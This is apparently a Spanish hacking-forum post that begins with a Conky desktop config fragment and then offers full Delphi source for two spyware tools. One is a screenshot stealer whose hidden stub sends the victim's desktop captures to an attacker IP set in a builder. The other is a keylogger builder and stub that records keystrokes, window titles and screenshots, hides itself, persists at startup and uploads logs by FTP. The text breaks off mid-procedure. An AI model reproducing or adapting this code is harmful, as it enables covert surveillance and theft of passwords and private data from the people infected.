${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


No son la gran cosa pero el que me gusta usar es el de matrix.

Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código (delphi) [Seleccionar] Expandir


// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit screen;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;

    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses fullscreen;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código (delphi) [Seleccionar] Expandir


// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;

implementation

{$R *.dfm}
// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;


//

procedure TForm1.FormCreate(Sender: TObject);

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := False;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  target := regex(todo, '[ip]', '[ip]');

  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;

begin

  try
    begin

      if ClientSocket1.Active = True then

      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';

        chdir(dir);

        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;

        capturar('screen.jpg');

        archivo := dir + 'screen.jpg';

        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);

            sleep(500);

            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));

            envio.Free;

            ClientSocket2.Address := target;
            ClientSocket2.Open;

            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.

Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

• Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  
• Captura el nombre de la ventana actual
  
• Captura la pantalla
  
• Logs ordenados en un archivo HTML
  
• Se puede elegir el directorio en el que se guardan los Logs
  
• Se envia los logs por FTP
  
• Se oculta los rastros
  
• Se carga cada vez que inicia Windows
  
• Se puede usar shift+F9 para cargar los logs en la maquina infectada
  
• Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger
  
  Una imagen :
  
  
  
  Los dos codigos :
  
  El generador.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle

unit genkey;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
  jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, ShellApi;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox8: TsGroupBox;
    sButton1: TsButton;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sEdit2: TsEdit;
    sComboBox1: TsComboBox;
    sGroupBox3: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox4: TsGroupBox;
    sLabel1: TsLabel;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox7: TsGroupBox;
    sLabel2: TsLabel;
    sCheckBox2: TsCheckBox;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sEdit7: TsEdit;
    sEdit8: TsEdit;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sLabel10: TsLabel;
    sLabel11: TsLabel;
    sEdit9: TsEdit;
    sEdit10: TsEdit;
    sEdit11: TsEdit;
    sEdit12: TsEdit;
    sButton2: TsButton;
    IdFTP1: TIdFTP;
    OpenDialog1: TOpenDialog;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  lineafinal: string;

  savein_especial: string;
  savein: string;
  foldername: string;

  capture_op: string;
  capture_seconds: integer;

  ftp_op: string;
  ftp_seconds: integer;
  ftp_host_txt: string;
  ftp_user_txt: string;
  ftp_pass_txt: string;
  ftp_path_txt: string;

  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;

  stubgenerado: string;
  op: string;
  change: DWORD;
  valor: string;

begin

  if (sRadioButton1.Checked = True) then

  begin

    savein_especial := '0';

    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := sComboBox1.Items[sComboBox1.ItemIndex];
    end;

  end;

  if (sRadioButton2.Checked = True) then
  begin
    savein_especial := '1';
    savein := sEdit2.Text;
  end;

  foldername := sEdit1.Text;

  if (sCheckBox1.Checked = True) then
  begin
    capture_op := '1';
  end
  else
  begin
    capture_op := '0';
  end;

  capture_seconds := StrToInt(sEdit3.Text) * 1000;

  if (sCheckBox2.Checked = True) then
  begin
    ftp_op := '1';
  end
  else
  begin
    ftp_op := '0';
  end;

  ftp_seconds := StrToInt(sEdit4.Text) * 1000;

  ftp_host_txt := sEdit5.Text;
  ftp_user_txt := sEdit7.Text;
  ftp_pass_txt := sEdit8.Text;
  ftp_path_txt := sEdit6.Text;

  lineafinal := '[63686175]' + dhencode
    ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
      '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
      '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
      + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
      '[ftp_seconds]' + IntToStr(ftp_seconds)
      + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
      '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
      ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
    'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'keycagator_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/keycagator.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

  if (op = 'Yes') then
  begin
    OpenDialog1.InitialDir := GetCurrentDir;
    if OpenDialog1.Execute then
    begin

      try
        begin

          valor := IntToStr(128);

          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                  + '/' + stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(OpenDialog1.FileName)));
          EndUpdateResourceW(change, False);
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      except
        begin
          sStatusBar1.Panels[0].Text := '[-] Error';
          sStatusBar1.Update;
        end;
      end;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[+] Done ';
      sStatusBar1.Update;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  dir: string;
  busqueda: TSearchRec;

begin

  IdFTP1.Host := sEdit9.Text;
  IdFTP1.Username := sEdit11.Text;
  IdFTP1.Password := sEdit12.Text;

  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

  try
    begin
      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
      DeleteFile(dir + '\' + busqueda.Name);
      while FindNext(busqueda) = 0 do
      begin
        DeleteFile(dir + '\' + busqueda.Name);
      end;
      FindClose(busqueda);

      rmdir(dir);
    end;
  except
    //
  end;

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  try
    begin
      IdFTP1.Connect;
      IdFTP1.ChangeDir(sEdit10.Text);

      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin
        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
      end;

      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

      IdFTP1.Disconnect;
      IdFTP1.Free;
    end;
  except
    //
  end;

end;

end.

// The End ?

  
  El stub.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH KeyCagator 0.7
// (C) Doddy Hackman 2013

program keycagator;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, WinInet, ShellApi;

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  registro: HKEY;
  dir: string;
  time: integer;

  dir_hide: string;
  time_screen: integer;
  time_ftp: integer;
  ftp_host: Pchar;
  ftp_user: Pchar;
  ftp_password: Pchar;
  ftp_dir: Pchar;

  carpeta: string;
  directorio: string;
  dir_normal: string;
  dir_especial: string;
  ftp_online: string;
  screen_online: string;
  activado: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  try

    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: Pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host,
        INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
        INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;

end;

procedure capturar_pantalla(nombre: string);

// Credits :
// Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
// Thanks to  www.delphibasics.info and n0v4

var

  uno: integer;
  dos: integer;
  cre: hDC;
  cre2: hDC;
  im: hBitmap;
  archivo: file of byte;
  parriba: TBITMAPFILEHEADER;
  cantidad: pointer;
  data: TBITMAPINFO;

begin


  // Start

  cre := getDC(getDeskTopWindow);
  cre2 := createCompatibleDC(cre);
  uno := getDeviceCaps(cre, HORZRES);
  dos := getDeviceCaps(cre, VERTRES);
  zeromemory(@data, sizeOf(data));


  // Config

  with data.bmiHeader do
  begin
    biSize := sizeOf(TBITMAPINFOHEADER);
    biWidth := uno;
    biheight := dos;
    biplanes := 1;
    biBitCount := 24;

  end;

  with parriba do
  begin
    bfType := ord('B') + (ord('M') shl 8);
    bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
      + uno * dos * 3;
    bfOffBits := sizeOf(TBITMAPINFOHEADER);
  end;

  //

  im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  selectObject(cre2, im);

  bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);

  releaseDC(getDeskTopWindow, cre);

  // Make Photo

  AssignFile(archivo, nombre);
  Rewrite(archivo);

  blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  blockWrite(archivo, cantidad^, uno * dos * 3);

end;

procedure capturar_teclas;

var
  I: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  while (1 = 1) do
  begin

    Sleep(time); // Time

    try

      begin

        // Others

        for I := Low(n_raros) to High(n_raros) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_raros[I]);
          end;
        end;

        // SHIFT

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          for I := Low(n_shift) to High(n_shift) do
          begin
            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
            If Result = -32767 then
            begin
              savefile('logs.html', t_shift[I]);
            end;
          end;

          for I := 65 to 90 do
          begin
            Result := GetAsyncKeyState(I);
            If Result = -32767 then
            Begin
              savefile('logs.html', Chr(I + 0));
            End;
          end;

        end;

        // Numbers

        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_derecha[I]);
          end;
        end;

        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_izquierda[I]);
          end;
        end;

        // MAYUS

        if (GetKeyState(20) = 0) then
        begin
          mayus := 32;
        end
        else
        begin
          mayus := 0;
        end;

        for I := 65 to 90 do
        begin
          Result := GetAsyncKeyState(I);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(I + mayus));
          End;
        end;
      end;
    except
      //
    end;

  end;
end;

procedure capturar_ventanas;
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;
  Nombre2: string; //
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time); // Time

        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

        nombre1 := ventana1;

        if not(nombre1 = Nombre2) then
        begin
          Nombre2 := nombre1;
          savefile('logs.html',
            '<hr style=color:#00FF00><h2><center>' + Nombre2 +
              '</h2></center><br>');
        end;

      end;
    except
      //
    end;
  end;

end;

procedure capturar_pantallas;
var
  generado: string;
begin
  while (1 = 1) do
  begin

    Sleep(time_screen);

